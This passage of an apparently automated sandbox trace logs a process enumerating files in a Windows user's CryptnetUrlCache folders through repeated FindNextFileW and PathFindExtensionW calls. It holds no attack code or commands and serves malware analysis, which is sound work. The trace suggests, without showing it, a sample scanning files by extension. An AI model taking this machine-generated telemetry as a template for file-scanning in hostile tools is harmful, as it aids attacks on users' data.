dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cAlternateFileName="800D31~1")) returned 1 [0119.198] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="" [0119.198] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x581f7ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x581f7ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f4d860, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cAlternateFileName="828298~1")) returned 1 [0119.198] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="" [0119.198] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3c5340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec3c5340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xb16257a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cAlternateFileName="8828F3~1")) returned 1 [0119.198] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="" [0119.198] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x8064ac00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8064ac00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80670d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", cAlternateFileName="8828F3~2")) returned 1 [0119.198] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="" [0119.198] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6aa2c0a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa2c0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xadf19ae0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cAlternateFileName="8E4E51~1")) returned 1 [0119.198] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="" [0119.198] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbddd270, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xd2da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0119.198] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015") returned="" [0119.199] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6a83cec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a83cec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaebe5120, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x5e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cAlternateFileName="955CAB~1")) returned 1 [0119.199] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="" [0119.199] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf3f73d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf3f73d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf3f73d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cAlternateFileName="9BC2FF~1")) returned 1 [0119.199] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="" [0119.199] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe06277d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe06277d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xb15d94e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", cAlternateFileName="9C888B~1")) returned 1 [0119.199] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="" [0119.199] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe07ca6f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe07ca6f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x965accc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cAlternateFileName="9C888B~2")) returned 1 [0119.199] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="" [0119.199] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54bc3730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54bc3730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb11d4fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cAlternateFileName="A9E4F7~1")) returned 1 [0119.200] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="" [0119.200] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cAlternateFileName="ACF244~1")) returned 1 [0119.200] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="" [0119.200] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe04aaa10, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe04aaa10, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xae4e7080, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cAlternateFileName="B3BB9C~2")) returned 1 [0119.200] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="" [0119.200] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefc01b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefc01b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaa4ee1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", cAlternateFileName="B3BB9C~1")) returned 1 [0119.200] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="" [0119.200] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54322770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54322770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cAlternateFileName="BC570E~2")) returned 1 [0119.200] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned="" [0119.200] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cAlternateFileName="BC570E~1")) returned 1 [0119.200] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="" [0119.200] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x56bb3b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56bb3b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeca3800, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cAlternateFileName="C46E7B~2")) returned 1 [0119.200] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="" [0119.200] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x682fbd00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x682fbd00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0bca00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cAlternateFileName="C46E7B~3")) returned 1 [0119.200] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="" [0119.200] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5461c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5461c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf67eb30, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", cAlternateFileName="C46E7B~1")) returned 1 [0119.200] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="" [0119.200] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x728c68a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x728c68a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xae63dce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cAlternateFileName="D47DBD~2")) returned 1 [0119.200] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="" [0119.200] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x545f6190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545f6190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69b6e1e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cAlternateFileName="D47DBD~1")) returned 1 [0119.201] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="" [0119.201] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x808d4a70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x808d4a70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x808d4a70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x663, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cAlternateFileName="D52C56~1")) returned 1 [0119.201] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="" [0119.201] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x683e0540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x683e0540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f015a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x64b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cAlternateFileName="EA6180~1")) returned 1 [0119.201] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="" [0119.201] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf312b90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf312b90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", cAlternateFileName="F293AE~1")) returned 1 [0119.201] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="" [0119.201] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0119.201] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76") returned="" [0119.201] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0 [0119.201] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.202] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.202] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.202] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="MetaData\\" [0119.202] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0119.202] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0119.202] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.202] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.202] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.202] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.202] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.202] PathFindFileNameW (pszPath="") returned="" [0119.202] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.204] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.205] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1 [0119.206] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="" [0119.206] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1 [0119.206] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS 